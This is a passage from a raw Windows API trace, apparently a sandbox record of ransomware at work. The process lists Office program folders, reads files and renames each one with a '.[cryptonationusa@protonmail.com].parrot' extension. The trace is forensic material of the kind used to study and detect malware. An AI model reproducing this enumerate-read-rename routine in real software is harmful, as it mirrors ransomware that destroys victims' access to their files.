lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.359] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.359] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.359] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.359] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="BUILTI~1.XSD")) returned 1 [0194.360] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.360] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.362] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x487, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x487, lpOverlapped=0x0) returned 1 [0194.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\builtincontrolsschema.xsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.366] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.366] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.368] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5d5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5d5, lpOverlapped=0x0) returned 1 [0194.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\grvschema.xsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.372] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.372] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.373] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14a, lpOverlapped=0x0) returned 1 [0194.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.377] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0194.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.378] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.378] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.378] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0194.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0194.378] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.378] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0194.391] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.391] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.393] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.393] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17e2d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17e2d, lpOverlapped=0x0) returned 1 [0194.396] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.408] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.410] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.410] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b875, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b875, lpOverlapped=0x0) returned 1 [0194.414] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.424] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.424] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.426] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.426] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a553, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a553, lpOverlapped=0x0) returned 1 [0194.430] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.441] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffec86a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffec86a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffe09fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUILTI~1.PAR")) returned 1 [0194.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0194.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb7ab560, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb7ab560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffde3e60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffde3e60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffec86a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffec86a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffec86a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffec86a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0194.442] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.443] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.480] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.481] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73c8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x73c8, lpOverlapped=0x0) returned 1 [0194.482] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0194.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.492] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.492] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.492] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0194.492] lstrcmpW (lpString1="InfoPathOMFormServices", lpString2=".") returned 1 [0194.492] lstrcmpW (lpString1="InfoPathOMFormServices", lpString2="..") returned 1 [0194.492] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.495] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.495] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.495] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.495] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.495] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0194.495] lstrcmpW (lpString1="InfoPathOMFormServicesV12", lpString2=".") returned 1 [0194.495] lstrcmpW (lpString1="InfoPathOMFormServicesV12", lpString2="..") returned 1 [0194.495] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0194.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.496] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.497] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.498] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0194.499] SetFilePointerEx (in: hFile=0x288, 